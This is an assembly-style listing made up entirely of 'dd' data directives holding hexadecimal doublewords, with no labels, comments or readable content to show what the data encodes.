		dd 689E85D7h, 0F84EAAF8h, 883F14D8h, 0F8165A14h, 9E1EDC23h
		dd 590861D3h, 0EA4F5136h, 8F457A14h, 0F53F5509h, 48146999h
		dd 1E469CE3h, 0CA3DB911h, 0A864118Bh, 77A1E350h, 5615171Eh
		dd 3D90DD31h, 2077840Ah, 0E3D7661h, 711E3B84h, 0C80A3D57h
		dd 1438A5E8h, 759C3E45h, 2018217Ch, 0F2E92802h,	5667AB1Dh
		dd 4A269B4h, 222F980h, 4170393Dh, 373CF40Eh, 0F990DDF6h
		dd 23F8F084h, 4821B4ECh, 49F5263Bh, 0F988C4F6h,	22B47823h
		dd 700CA58Ch, 49800648h, 0AC21F036h, 3D9F08AAh,	763682DBh
		dd 0F97CC252h, 0F8EC2114h, 40C690B8h, 3AF964F7h, 86F99010h
		dd 990CC266h, 0C23CF8F6h, 961C798Ch, 0EED48BBBh, 0D02EA946h
		dd 7E62F4EDh, 6F67543Ah, 6BF53BAAh, 0D008BDD9h,	503BBBEEh
		dd 5CA745Ah, 0FCEDC8F6h, 0ABDDA206h, 68B2D6BCh,	0E458B2FEh
		dd 483226A8h, 6A0D2853h, 0A07919E0h, 96C1B768h,	43CE6F30h
		dd 9FFD7029h, 18C421A2h, 9C350305h, 0EE42D8EDh,	30EDC884h
		dd 874103AAh, 74EED888h, 8EEE821h, 2274C169h, 3F6FAA2Ch
		dd 10E55C37h, 9DD788FFh, 8A0893F3h, 12142339h, 780631D8h
		dd 17890C39h, 92D98C9Dh, 0C3093A00h, 95174E29h,	0E4DE9675h
		dd 4BC9D0B7h, 250AC210h, 402520D1h, 0B6D9986Dh,	270868F7h
		dd 14DAC99Ah, 943ABA21h, 8D01D94h, 543A05Bh, 5024F596h
		dd 84D99CD8h, 1DD70821h, 0F809A104h, 0B2AF5B38h, 612AA43Ch
		dd 0A09E9CA4h, 0E9DE54ADh, 0AA089151h, 49649242h, 3E3956A8h
		dd 33C5011Dh, 886ED86Fh, 484D942h, 63F931D7h, 0D988101Ah
		dd 0D942A8E8h, 3AF50312h, 0A9C0113Eh, 61F4D913h, 6ACB702Dh
		dd 434D7528h, 0CBF01038h, 420E3FCAh, 75D4CC70h,	1E322FC5h
		dd 6206F9CCh, 75D4381Ch, 87CD74D0h, 0E221781Fh,	8430CB6Ch
		dd 7C2184A9h, 412C43Ah,	707132DDh, 6C100ACDh, 4A91C4CBh
		dd 0ECDD569h, 21CD7C84h, 0E84EF41Bh, 0F1424C88h, 0CF9830F3h
		dd 37658885h, 6ED0486Fh, 98880E74h, 4794E8A1h, 0E8D1CA1Eh
		dd 8D373470h, 71D19C88h, 231EF2A0h, 1C10CF94h, 0E23990DFh
		dd 31F5020Eh, 85D19838h, 62CF9408h, 213437CCh, 0A4D0D198h
		dd 332184D1h, 0A8E4D0F3h, 1C1C0989h, 7DC4C342h,	0C39C3136h
		dd 0EA46F0Ch, 0E8C41C2Bh, 0CA1E5F94h, 4C71E8C4h, 206A278Ch
		dd 4084C549h, 198A3B10h, 0C5183CF9h, 0C443BE87h, 0B461C314h
		dd 439B08A8h, 80D8838h,	18E230FCh, 147A14C3h, 8D2AE686h
		dd 76C31808h, 3A10C542h, 847CE8F2h, 0BF21023h, 4B8E888h
		dd 57813586h, 0B42409F5h, 7C3F5D6Ah, 0A6B4E929h, 3A13B695h
		dd 0D6316945h, 0D94CFB36h, 32441236h, 53A4845h,	0F6354F58h
		dd 0C72940DAh, 6CEDDCECh, 5A50CA8Ah, 9F92B566h,	4C94CAE5h
		dd 37B3C4E8h, 14811F38h, 0E9E0100Ah, 0CE884A1h,	401721EDh
		dd 1DE9E0E2h, 42E9E408h, 101DEBB8h, 378E8D10h, 3632D701h
		dd 9C6C613Eh, 0E1DE08E2h, 0E8613B0Dh, 150CE114h, 4ECA3853h
		dd 0A08452CBh, 0E11071E2h, 0CFF1408h, 0A3375CE5h, 7A14E2F2h
		dd 0E4088DA8h, 396C27A7h, 0C8F7B653h, 2F1D0815h, 14E294E2h
		dd 84E11021h, 3D412E9Dh, 0C6653EA5h, 24E2ACE2h,	0AC302E72h
		dd 0C7B7E9E1h, 0BD74F5C8h, 3BEAC627h, 0B417DD59h, 1F5E32AAh
		dd 68580B76h, 119CA750h, 0E9014A1Ah, 446820EBh,	0D7922BBFh
		dd 42A4CEFEh, 36F81222h, 28CF13F2h, 8E3EAA73h, 8917C511h
		dd 89CBFB07h, 0B875C0FCh, 0ACB7E83Dh, 74F41241h, 846CEC1Eh
		dd 98AA3626h, 0D5DC0FD6h, 6622C213h, 19592799h,	7C897FF3h
		dd 963C5C0h, 9657367Ah,	0C0782305h, 0E7C30888h,	4348980Ch
		dd 42D73A1h, 0B7FDA7D7h, 0E3638E1h, 9F242420h, 4E27E2Dh
		dd 782114C3h, 6CAD88C0h, 87C304D0h, 0D1C91047h,	0A6D8D844h
		dd 34CD0887h, 6783776Bh, 0EB963EE9h, 98324462h,	70CCF5F9h
		dd 0D631BB20h, 11001132h, 3C66AC5Eh, 0D99248C8h, 0C414C422h
		dd 0A030AF89h, 5B75C63Bh, 0BF08409h, 8B66051Ch,	0CEE8D224h
		dd 0EBD85D6Fh, 95F88BB9h, 0BD2A22ACh, 0F0B62F8Bh, 62847AD2h
		dd 71BD53EEh, 573C3B60h, 0D254B95Eh, 44B4D2A0h,	14F89A6h
		dd 0B405EB2h, 554BA278h, 0EF2B864h, 0D3A23C4Bh,	8692609Eh
		dd 0B589B76Ah, 8AB0806Ch, 300B1873h, 5E28B8DAh,	1F6C8331h
		dd 5BE21883h, 0D1F4ED28h, 0DB2F6436h, 0C58C6806h, 0C7CC38CAh
		dd 0A14D5325h, 0CBC314CEh, 64DC3417h, 38F10D1Ch, 8F413915h
		dd 40C491E4h, 108F67DCh, 79C280C8h, 4D3C1932h, 0C529E21Dh
		dd 0DC44E241h, 84D9B010h, 2184AC76h, 4CC230B7h,	0F4761ADCh
		dd 5DC94847h, 0A8863296h, 40392445h, 0AF3C1EC8h, 9DCD32Bh
		dd 1A94DC30h, 408BA2D3h, 3ADC3084h, 84DC5010h, 113AE729h
		dd 627DA624h, 0A5DCF3E6h, 0D23D2867h, 0E93571E1h, 3CFB31F6h
		dd 3A4278ECh, 14989284h, 3189CFFFh, 0A733ECCAh,	781D2AC5h
		dd 0F12F3B6Bh, 0CC688D76h, 4CB291BFh, 7652E947h, 8565FC4Fh
		dd 0C7F22FA2h, 31232478h, 0C0284675h, 0F167E28h, 0F9691444h
		dd 0ACE2966Eh, 6830B68Ch, 2FE889B8h, 5A20B7CBh,	0E940592Ch
		dd 9F98102Bh, 1439D9C2h, 8E97F323h, 211C11AAh, 47254D91h
		dd 0CA3F86D1h, 39AF3081h, 56B4D82Fh, 2D0B744Ch,	689779B5h
		dd 9A215EB2h, 2EF07031h, 2546D3BDh, 0A0544B46h,	0B1857129h
		dd 2ACA8B18h, 30A52637h, 8E2F9CABh, 13112029h, 32A3D11h
		dd 52E92ABFh, 6C6824A4h, 31307875h, 8593F9Fh, 26D912FBh
		dd 0C8E9CB84h, 7031AE10h, 0A67DDECh, 402E5410h,	0DE4F6C11h
		dd 99452A22h, 0E714EC0Fh, 2E31131Bh, 79248672h,	0DF70090Ah
		dd 8A912766h, 4961749Fh, 0A9E8B406h, 0DD386829h, 9C30948Bh
		dd 0F50F40AAh, 0D061285Bh, 100ADF6Ch, 0CBC4DDE8h, 3EAC6943h
		dd 782174AAh, 0A4FCF0DFh, 30230987h, 0C188DB45h, 560A5E0Dh
		dd 0FB0DA2E9h, 38DC58C2h, 218C2D59h, 4A94DCD8h,	0DD58C50Fh
		dd 4636FB38h, 0DDDCC42Dh, 0EFBE03Ch, 10DC5411h,	9984A4D0h
		dd 8011382Fh, 218E27FAh, 5442DDD8h, 3B7718DCh, 0E33E348Dh
		dd 11DDA21Ah, 81DD626h,	0FC88A494h, 0DDDBADFEh,	199680A1h
		dd 2E041F71h, 4C48B437h, 840ED411h, 0B7B82DF1h,	2852C0B3h
		dd 8468863Dh, 0D1208972h, 0B1BFAD14h, 0E9001072h, 5195BF74h
		dd 0F6EC4903h, 6B78682Ah, 92EAE23h, 7AC62D99h, 5B57932Fh
		dd 3F8F46EEh, 708B41h, 918BA52Dh, 68226549h, 8F37893Ch
		dd 954A3CB2h, 0FEB8B87h, 57160659h, 455C3C0Dh, 0A8C7D0FCh
		dd 0B3BEDE96h, 0DF688B4h, 700199E5h, 0F33B59F0h, 5657E03Bh
		dd 54538AAEh, 2E0516A9h
		dd 7D0BB3F3h, 79845718h, 8ACDBD2Ch, 872438BEh, 848BD33Fh
		dd 91790DACh, 8B47BF3Ch, 56C46088h, 25380482h, 77FA84E9h
		dd 13519886h, 5B2A640Bh, 77217551h, 68324944h, 5637441Eh
		dd 50426FA6h, 0A0EF1B1h, 1101C21h, 64AF98A7h, 0A2E2C40Bh
		dd 50EA382Dh, 91104D0Ch, 1401ACD0h, 68C33DB4h, 793CA3F4h
		dd 8AE9CAC7h, 0A34DAB1h, 6292F410h, 91A3E8C2h, 2E377E36h
		dd 9D2BC312h, 0D9BC5551h, 699D3E53h, 8D4AF26Fh,	0D4F55B51h
		dd 0C71275BDh, 359544C5h, 0C6171A9h, 4EE54548h,	8B6AC823h
		dd 19EADB81h, 68313B57h, 10182CEDh, 0C342084h, 6627B1A5h
		dd 3E546968h, 0E86838D9h, 0A62CD66Ch, 42205FCEh, 0A3B868E0h
		dd 8B60EC55h, 310BCA6Dh, 6E230B78h, 0C7688064h,	0B0A15BD3h
		dd 42D7550Ch, 9014210Dh, 509F8898h, 0AA9691DFh,	0DD2C42C2h
		dd 0CC68B06Eh, 0E8438E27h, 0A297F4E3h, 7811341Ah, 9FA18458h
		dd 4FE90C2Bh, 6920B920h, 0D09B56C1h, 0F388F7DDh, 6C986B3h
		dd 2B878424h, 36287E8Ah, 0E7799D91h, 84C71E6Dh,	0F09814F8h
		dd 0CF992BCAh, 0B6745B64h, 2B24A128h, 287A840Bh, 0C8D676B3h
		dd 2CA0A32Dh, 0C6BD2AF8h, 2C450484h, 0F2F9E1E9h, 1C208A48h
		dd 0D4BDC91h, 2F31C9C9h, 2FB159B2h, 998F0A1Fh, 4062CEB2h
		dd 0D38A0462h, 2B8B0AADh, 7DE98C67h, 0FC2E6899h, 66C262A2h
		dd 0C468DC32h, 4D28FE48h, 0F82A4C74h, 91C59B18h, 2ECB01F8h
		dd 21429417h, 4D14A2D0h, 0EB0CC0ABh, 0D7A0681Ah, 6452A021h
		dd 0E40038EFh, 1284AC35h, 140B5B32h, 49337A27h,	0B22AC87h
		dd 0B1101898h, 0FF2DB29Dh, 0B664C2C8h, 3C294C42h, 0BB1E2123h
		dd 0A278EFE2h, 0D6323424h, 534505D5h, 52B61224h, 210BA9C4h
		dd 0F8D34728h, 0AE9B7C0Ah, 140C43AAh, 0C88D29A3h, 317EE204h
		dd 8AD10F31h, 8DB0A32Ah, 3F33126Eh, 82655E79h, 90F80F1h
		dd 4E8AD85Dh, 5587C384h, 28458273h, 0F31E8804h,	79957625h
		dd 3834FA3Fh, 314AC6AFh, 7E1D7548h, 0D8101E9Bh,	291F84A1h
		dd 0A4102E8Ah, 0F06CCEA1h, 0A1B002E2h, 218CA164h, 0BC4230DDh
		dd 0C34777F7h, 4FD05225h, 0D03EA373h, 0A2F24BABh, 0B35AD79Eh
		dd 525E78A7h, 0DAA06795h, 279F804Ah, 9778B6ACh,	4A85BD86h
		dd 820A348Dh, 0A9A8380h, 0C7F0EC40h, 0DFD73CE1h, 681F0D18h
		dd 0E984A838h, 0CEFD636h, 0C415A088h, 0D1982292h, 8BA0A81h
		dd 0A2C956CCh, 0DD248D17h, 7BFF2120h, 8A2B61F1h, 0B5874A01h
		dd 72AE2A55h, 0C77F2DABh, 0A0162EAh, 0D0432F9Ch, 0CFEB200Ah
		dd 1FD108A8h, 9468BDB1h, 0DD8E7042h, 4170E131h,	67DC2A0Dh
		dd 7A612F9h, 47105B8Ah,	518FE328h, 55A0522Fh, 2DF020F6h
		dd 97A0CC5h, 45858676h,	106A4A40h, 0E9832798h, 0EBEFF664h
		dd 2821D594h, 277F0BA0h, 0F66B20B0h, 3C436AA6h,	0CA27DD85h
		dd 2BD87965h, 0B7F0DE58h, 50971464h, 0A008227Bh, 0EC32A377h
		dd 7A9C0F9Fh, 0DF8027A0h, 2499C0B0h, 0BD39CE82h, 4712F519h
		dd 31E0051Fh, 8247CF5h,	0E031A90Ch, 65B1D13Ch, 852C2B24h
		dd 2CDF5F7Ch, 0E14A0452h, 65E691DDh, 9FD48856h,	7926C942h
		dd 51C64D0h, 5BF61F2Ah,	84E14270h, 0B531DF7Ch, 43701AADh
		dd 0E10CA1E1h, 0DA43EF08h, 239F94A1h, 26548444h, 0CBC52B98h
		dd 0F95C5355h, 1E174072h, 0F8F9BD67h, 19637C46h, 2005F1E9h
		dd 0B882746Ah, 985E252h, 0D32325E8h, 0E2CC0BCAh, 46F592B2h
		dd 26042915h, 0E2B0C2F7h, 9DF47F5h, 0A071E3D0h,	5426DA42h
		dd 0E458586Dh, 5C12C886h, 501426A1h, 52E79254h,	589F5814h
		dd 0AF25AC17h, 470D7D68h, 0E454101Eh, 0CE2B0A1h, 845E461Ah
		dd 0E2EE454h, 30FF90C1h, 92E46010h, 0B4217415h,	8023FCB9h
		dd 97A21E13h, 0B29F50DDh, 0E9BBA41Fh, 8C4B10EDh, 0ED42DCFBh
		dd 0ABD0E90Bh, 0FA882279h, 44483123h, 5F973206h, 188932BCh
		dd 59909770h, 25B99FECh, 709EE888h, 46BC24DDh, 172B4D59h
		dd 84578E31h, 0E93106A4h, 1921472Ch, 40F1E866h,	102D519h
		dd 0C9A1FC8Bh, 0B0602BA5h, 0D3889EC8h, 98ABA9D8h, 26C90A42h
		dd 7997328Bh, 0DD7E6959h, 31D0BB37h, 0AB8D026Ah, 1304C30Ah
		dd 0EAEC15CCh, 0FA370233h, 83DC530h, 894E9E78h,	644F6624h
		dd 0EF568D92h, 134F5C36h, 0BC408B10h, 7B586B44h, 0CBEB078Fh
		dd 0C6B4A68h, 7F9DF164h, 1C0A9BA6h, 0D52172E8h,	88311D6Dh
		dd 0B55D1D01h, 0BA9A0512h, 27BD1557h, 850DF50h,	0B6A41D24h
		dd 429DE422h, 18450213h, 0F588088Ah, 0F2F9A64h,	806D5ABEh
		dd 93B51619h, 229C0B5Eh, 39100FBh, 37922C8h, 3BCEBF15h
		dd 0F71B8312h, 28385B6Ch, 4B49B67h, 98F46DE9h, 4956E821h
		dd 895B1753h, 0A53A6EA4h, 25499A51h, 0C82EC475h, 36AD232Eh
		dd 24C4512Dh, 5FF468F4h, 0D8DCED01h, 8F21FE4Ah,	0CD173A7h
		dd 0E238F075h, 0CA84108Dh, 0C99035ACh, 9889C2B7h, 0B7E81982h
		dd 88E22B94h, 0BE91985Fh, 0CCE2BFE9h, 9DB82061h, 2A8EE812h
		dd 0B29477EEh, 0D6641CD2h, 90EE48BDh, 0F6DF889Dh, 9CA9DF8Bh
		dd 22792D64h, 51C91274h, 445F0B6h, 0BB70888Dh, 1A8AA4BDh
		dd 4054F6AFh, 8301788Dh, 0F7420F8h, 85FD416Fh, 3A5BD84h
		dd 8BD5832Eh, 2630072Dh, 812F2A3Dh, 741609C0h, 0AE1BBB29h
		dd 8891D125h, 18659D44h, 4BF1883Ch, 843F9F21h, 0E76C03BCh
		dd 0D01FBA6Ch, 80475404h, 8D722459h, 98871200h,	14276C6h
		dd 0B22217C4h, 775FCF30h, 4D02D89Dh, 8BD81A29h,	4B9CFC22h
		dd 0B779653Ch, 3C0B3473h, 0D828A38Ah, 0E81C4A20h, 0BF28B600h
		dd 0E462B771h, 94FCE502h, 0AD5E27B4h, 1E85F53h,	5C02C4F1h
		dd 69849047h, 14DD41D5h, 3BA76523h, 0B2CD6459h,	456C3402h
		dd 20EBD604h, 5B186BCh,	43CA18BAh, 0F3605B1Fh, 27E9C033h
		dd 6B7686D7h, 485B5F71h, 0A3904421h, 18B9BDF1h,	44BC8C82h
		dd 77B0EB62h, 24B51E6Ch, 0A156109Bh, 0E5E77B95h, 0B631AB4Ah
		dd 0DF4D1866h, 96FE1509h, 1EE21D6h, 201817A3h, 0D4CEE8E1h
		dd 0F754DCC7h, 863B27E9h, 89713E74h, 6B79ECA8h,	30DF2526h
		dd 0F91A8535h, 5B13F67Fh, 6AE82E31h, 6885D138h,	181FAECh
		dd 5CF94653h, 1C291DBEh, 0E5519EC0h, 0F8931C71h, 9390D008h
		dd 20AB88BEh, 2CFB11BAh, 0FD57CB2Bh, 0F4238A94h, 157099Bh
		dd 17891F94h, 86401CC8h, 9CAB2695h, 0FE91925h, 41C73A8Bh
		dd 0A29160A7h, 575CAE18h, 27C958AAh, 13FA531Bh,	814E214Fh
		dd 8A64D17Dh, 67E27239h, 0F01C74F1h, 0D9CE0EE1h, 1048A210h
		dd 0DBBF8AA8h, 10922408h, 85241818h, 2A1F381Ch,	8CD11375h
		dd 26EF27CFh, 0D5CC25Ch, 84FCE9D4h, 0BFB13A50h,	7FD3F17Eh
		dd 7F2717A6h, 430B1F76h, 9F18161Ch, 2888BD59h, 5EA6D19Bh
		dd 13082290h, 618697E9h, 189AF8A8h, 289DAC3Ch, 93DA4C68h
		dd 901821E7h, 5510C924h, 0E94604Dh, 3D898216h, 0E99648E4h
		dd 96A5F73Eh, 83F2E5Dh,	458D0902h, 0FE822B4Bh, 0EC4C7BA9h
		dd 1DED434Bh, 6A3217D0h, 857F8223h, 27345975h, 858CE2AAh
		dd 4625C3C9h, 587D4E88h, 572F8A14h, 75438BF4h, 5B04BB05h
		dd 156708EFh, 0FABEA931h, 0F02B03DEh, 448D3EFAh, 8D27CF10h
		dd 9AB871FCh, 47785DE4h, 6E1EC52Bh, 8C393134h, 0B0FEB16Eh
		dd 1DAC3E8Fh, 210E9301h, 0C8F5478Dh, 40828274h,	255E5FDBh
		dd 96570B74h, 53A08177h, 9C2DA141h, 0DC6215A5h,	9F0BCF8Ah
		dd 0BC35CDD5h, 3383201Fh, 0CAB9DB5Fh, 46BDFD2Ch, 359033D8h
		dd 0BC50D678h, 0E06CA308h
		dd 86AC1B97h, 9C215446h, 8C883891h, 19B54862h, 43F40C78h
		dd 946021B4h, 50881A24h, 0D229C65h, 48941944h, 52862C41h
		dd 10210DF0h, 14275495h, 7D7D1D39h, 741B3C62h, 3C7D0844h
		dd 3810C87Dh, 73103444h, 102C6478h, 10582724h, 201C889Ch
		dd 0C814F057h, 0C47F010h, 784D148Fh, 31E0044Fh,	5C7190Ah
		dd 480129F4h, 0D843F8E5h, 6CA32C62h, 6A1C2781h,	0D0783001h
		dd 9815EB2Dh, 0D0F8A318h, 0ECB22D29h, 91B8342Ch, 3827A929h
		dd 0DC230122h, 21D01ED8h, 0C48A9011h, 8840910Dh, 62D465B4h
		dd 0DA5A4F3h, 901A22E4h, 0D480419h, 24468680h, 88907021h
		dd 5641BBD0h, 0ACB574F4h, 8C407DF0h, 0E411D447h, 0E40488B6h
		dd 0C4887324h, 1185FC38h, 4587945Ch, 0EA1BC260h, 80DA540h
		dd 192CA162h, 707A27D0h, 20B84284h, 8085021h, 8D08119h
		dd 17B5C211h, 2A4E0BEBh, 8E84B7E0h, 211C4567h, 0A8265855h
		dd 100C4784h, 0A488D7FCh, 0D44ECC5h, 0D832B5E8h, 86B65818h
		dd 3429C843h, 0CABC101Ah, 0AC440D98h, 816E1032h, 5CB40D89h
		dd 4284A4ACh, 422820C4h, 222020E8h, 1868B658h, 323C4C10h
		dd 11981010h, 42140408h, 0B704841Ah, 18D78871h,	1854A970h
		dd 86586148h, 1821F047h, 5F71A012h, 470EB5F0h, 90482345h
		dd 0CE28C838h, 6F10C8F0h, 485F18AAh, 3208440Dh,	0CEF4317Ch
		dd 0E0188011h, 212C4686h, 86F495C4h, 1C4428C8h,	0F1100DDCh
		dd 788E1818h, 80788C7Ch, 8C2C788Ch, 0A1AEF453h,	0FD32D6B4h
		dd 4F3F148Dh, 0A30821CEh, 52A89128h, 11BB8ACEh,	94399C14h
		dd 2B994334h, 7415E720h, 1078230Dh, 0C480C864h,	313C3250h
		dd 0AC580C40h, 263843DAh, 0DE87A04h, 88277C94h,	0B4F0621Ch
		dd 820F4B1h, 49408490h,	4112FB78h, 81F8005h, 203C42E0h
		dd 0C2548331h, 4E09CA29h, 0B67C23AFh, 56B4F008h, 0C2B1043h
		dd 2D8B8BE1h, 74C2D412h, 0A522E71Eh, 10044702h,	0A48AD5F8h
		dd 4AE8C5A6h, 0CEA6D80Dh, 44290DF5h, 0C9CC101Ah, 24B5BA20h
		dd 0B062E00Dh, 0A818C819h, 218C4686h, 0B6B4889Ch, 0D0329464h
		dd 0DC0C8831h, 7C21B543h, 6974C092h, 10A30D5Dh,	0C434C86Ch
		dd 31303264h, 0A4640C5Ch, 0B4342141h, 8A0D5C14h, 84881A54h
		dd 0DB56EB6h, 40109823h, 0B5BBE1DEh, 0A2090F0Ch, 300431D5h
		dd 0D29B600Ch, 1C460DA2h, 5C912021h, 0C8641488h, 14190862h
		dd 0D442FC18h, 0C8B5D810h, 224865ECh, 0B819DC1Ah, 86D00D48h
		dd 0D1F9EC4Dh, 0E0882C0Dh, 9557C453h, 119F0442h, 0D8221901h
		dd 18050C52h, 7084B544h, 0E04384F9h, 0C890ED21h, 8C64E1C8h
		dd 0B419D532h, 0A4C93C52h, 0BD32D00Ch, 2452DC19h, 0CC019B1h
		dd 744386A5h, 34959921h, 908D210Ch, 6A81C830h, 7974436Ch
		dd 0B644107Fh, 8988171h, 22F48369h, 220C0461h, 22600459h
		dd 221C0451h, 0DC5C0449h, 478EC8D1h, 88D82314h,	0B8C4B648h
		dd 0AB5EC71h, 146418C8h, 0D4B86870h, 0F4C7CB99h, 0D49C8808h
		dd 448880C7h, 0A26C6270h, 19B4F80Dh, 43FC0C58h,	914421B5h
		dd 643488A8h, 12EE9D08h, 1A91CC0Dh, 0A4380C0Ch,	0D3F8210Dh
		dd 0E4883011h, 0BA9D4064h, 0D8B7001h, 68A33541h, 8040C448h
		dd 3889B4F8h, 0F07110A0h, 0A810C930h, 821B84Ch,	0CB3B0BB6h
		dd 1C38C591h, 40438E30h, 55EC1CC8h, 3536331h, 0E517C868h
		dd 0CC48D1FFh, 0E21D44E4h, 0B72084C4h, 892F6124h, 0C21F441Dh
		dd 2045D39Eh, 0AF3D740Fh, 1C62B2ACh, 0BCB4999Ch, 528CF50Dh
		dd 8173EC0Dh, 0BDB5BC08h, 0ECFF61CBh, 28C80AB6h, 0E2682467h
		dd 501CD37Ch, 0A67011F6h, 23644363h, 0DC541028h, 40100D29h
		dd 2CC478C8h, 1C31AC32h, 0B643C40Ch, 60941021h,	6404881Ah
		dd 0D27F9C0Ch, 0B4FC2184h, 290DE895h, 0D0101A94h, 45418CCAh
		dd 440D4AC0h, 2228E4D8h, 75D1168h, 5510080Ah, 4D107821h
		dd 4510AC21h, 27467B41h, 0C3768310h, 71104135h,	10A02DE1h
		dd 0D025F06Ch, 0FD786710h, 976210A0h, 0BA34035Ch, 30884DA6h
		dd 0B4282C64h, 0EF94D242h, 4CF67351h, 967C5318h, 9EB55011h
		dd 2E2C1221h, 90382166h, 9C6CA234h, 215C474Ah, 0E0B09548h
		dd 0AC443CDEh, 40444AA5h, 0FF143C32h, 7D52240Eh, 18904A21h
		dd 0BC6FDCC8h, 0D4460D2Ah, 8AD1E810h, 0DC64649Ch, 745B6C22h
		dd 9CCAD411h, 48435474h, 0DC424421h, 7DBE9ED1h,	0BC548CCCh
		dd 0B546A05Ah, 0A812F178h, 50104A95h, 0B04421DDh, 52907C38h
		dd 8C434A86h, 10B1702Bh, 6CBCC97Ch, 0F80D8832h,	5C4386B5h
		dd 0C33AB023h, 90D8502Bh, 44C08870h, 44BC0831h,	0E8F80A29h
		dd 0C488B0E7h, 58212E50h, 3CA25490h, 21244734h,	0DE849108h
		dd 0B8641021h, 5C478660h, 3242EF4Ah, 54C35B5Dh,	0E75351A2h
		dd 2B560CF1h, 0C935770Bh, 0F03A57A1h, 2C3E7407h, 0B3575EFFh
		dd 0E26803CCh, 272F95DBh, 3170108Bh, 0F2B71284h, 1D02B7DAh
		dd 0B5D6F25Fh, 0FC702099h, 10341C14h, 1950B2B7h, 2BC80A51h
		dd 8CB70450h, 34880843h, 112B1D64h, 0CC8F1F7h, 1C3810E4h
		dd 0FE92186h, 230AC351h, 0E2189014h, 0AB51904h,	1C518FC8h
		dd 211CEE1Dh, 8110DAE8h, 11855BACh, 7128C824h, 854D0CD0h
		dd 2C282764h, 8830438Eh, 2B1964B4h, 0C8F0F311h,	3838E434h
		dd 0E521869Ch, 0ABF510Eh, 40903C23h, 0B11980E2h, 518BC80Ah
		dd 87481C44h, 7D21C338h, 4C28BC5Bh, 9E50438Eh, 0AC499061h
		dd 54118523h, 347158C8h, 6785150Ch, 5CE418EFh, 431C6072h
		dd 0DE11018h, 868CBBA8h, 0D9F82126h, 3907BB11h,	1E591475h
		dd 0D12D158Ah, 8C140C8Eh, 0D0B950C9h, 0FF594A28h, 74855D5Fh
		dd 0F3AC0424h, 481975A1h, 0F48AB80Fh, 0A85B3D39h, 64C32DC9h
		dd 1004D9C3h, 74290Dh, 0C985C033h, 59FF0274h, 888E63D1h
		dd 0F4562511h, 8D5B0173h, 6E33F845h, 6CC144D4h,	0BC2E7D89h
		dd 0B088644Ah, 2BC88B40h, 84300FCFh, 0E9834D97h, 8712C832h
		dd 23744861h, 536E0A9Dh, 2010BD17h, 0C6814FFh, 188BADCh
		dd 471EC9AFh, 82DB9030h, 0F89D495Fh, 9D093CE4h,	712062Fh
		dd 0C75657B9h, 0B2DCC9EBh, 1274F761h, 56D4D9B2h, 0C73B6290h
		dd 0EB0D7473h, 69B868B5h, 94884F09h, 591C0CB7h,	8D200E69h
		dd 0CC22FC63h, 841884A5h, 12BD04CAh, 68F73041h,	0CC66A088h
		dd 763E0239h, 45E8DE6h,	0AC1864DCh, 83479Bh, 3E3B18C3h
		dd 0D2EBF172h, 22E7DEABh, 4BD75614h, 0A96441CCh, 3DE9F4D3h
		dd 52C6682Fh, 2F1249FDh, 0DAD83F32h, 7EB67E0Ch,	64BE15F3h
		dd 0F23D0AB7h, 23F10B64h, 3868D1F0h, 28F2DB56h,	0D380C26h
		dd 5EC68B18h, 84B4FBF0h, 0FF1FFA61h, 7E01FEC3h,	57CED81Dh
		dd 0E6E975D1h, 8DDA19F7h, 542E34h, 1C3AB70Fh, 4042C703h
		dd 5FF67549h, 23C704EBh, 5E918508h, 94840574h, 82C1030Ah
		dd 0AFF52549h, 10E907F8h, 7F3F5FCFh, 660EE86Fh,	5F9AD0F7h
		dd 7793A757h, 19350C42h, 7381BF0Dh, 23C2048Fh, 0A4057C8Bh
		dd 0C09534FFh, 2EA28353h, 571C6A02h, 218496E8h,	824794F6h
		dd 797C9869h, 0E8267E01h, 248B0BE6h, 0BAF40A6Ah, 4C05F74Bh
		dd 6F2722BBh, 4614B198h, 7C263B54h, 0C78BDA12h,	0B76D3410h
		dd 0BD97696Dh, 9605EB10h, 5E2C913Ch, 88648538h,	0D111213Ah
		dd 225F4A53h, 4DCC8149h, 8B033B40h, 1424345Ch, 825A867Eh
		dd 55FBF2F4h, 7E140030h, 0B30E816h, 0C934F697h,	1433407Fh
		dd 3B47071Fh, 0B7EA7CFEh, 5F028E24h, 0F95FC38Bh, 47511CB0h
		dd 0CFC6583h, 2C98C7AAh
		dd 65BF01E0h, 0AED88BBh, 0BE8340A4h, 84431918h,	0CFC044C8h
		dd 5CA0F2Fh, 416A0B0Fh,	5A007FD8h, 375C13Bh, 0F8FC5589h
		dd 5BF90183h, 616AF37Ch, 20104A59h, 7D8B0A7Bh, 42C35608h
		dd 0EAB10B4Eh, 9E100B0Ch, 4227BC0Ah, 0F9ECE40Bh, 0C5C0A92h
		dd 585971F0h, 7EDFF494h, 68079C39h, 88AE0814h, 2DDBB6C4h
		dd 1C514590h, 0D94E119Ch, 0A25F220Ah, 8759729h,	987E0AB2h
		dd 569444AFh, 4B17D695h, 11D7170Bh, 0D54C7EAh, 0C8E81819h
		dd 0C5942814h, 0C42DEB99h, 4B045CBFh, 74144732h, 1E591E2Eh
		dd 1127C12h, 442741F7h,	0E239554h, 0F263F302h, 5CEB2240h
		dd 750A2790h, 3CBE0714h, 14C2310h, 0BE3E755Ah, 0A43C0838h
		dd 75051551h, 5299502Eh, 8C230834h, 30210164h, 2311322h
		dd 1DBD2CF9h, 5428D864h, 2068847Ah, 42CF0A9Ch, 91FA109h
		dd 9A8C40Bh, 1CC57F9Ah,	0C48AEB56h, 265C1070h, 14E04C05h
		dd 2C675468h, 64069AF0h, 4A3A2B76h, 0B8022140h,	0EE29A050h
		dd 7B2B22EFh, 1DCC8DB5h, 55E49342h, 214C68A5h, 4B20EB5Ch
		dd 174BDB2Bh, 34082F46h, 7E0B0B88h, 0D7BC2Bh, 765E0289h
		dd 257ADA1Fh, 69E610D7h, 4E138211h, 6B2E1F7Eh, 45C72505h
		dd 969A3BAh, 0BEF5021Fh, 0D4BCC254h, 1574401Eh,	0F46F468Dh
		dd 9808524Dh, 0D8F7050Fh, 0A0D0BF59h, 5C8B0AEBh, 3B17490Eh
		dd 94370F4Dh, 0F075FED9h, 1406C683h, 0CCFE8147h, 0CB721F67h
		dd 8DA7B0EBh, 14ECBF04h, 23588536h, 107D2DF6h, 6982E144h
		dd 5993A175h, 0D3B6C35Dh, 44BDCB0Ah, 388031ECh,	7E050FC8h
		dd 3D474044h, 7CEFB0EAh, 4BEBEE17h, 0DDF79309h,	125DD29Ah
		dd 141850A8h, 2C868D10h, 40C0B940h, 44128B04h, 8BAD1C24h
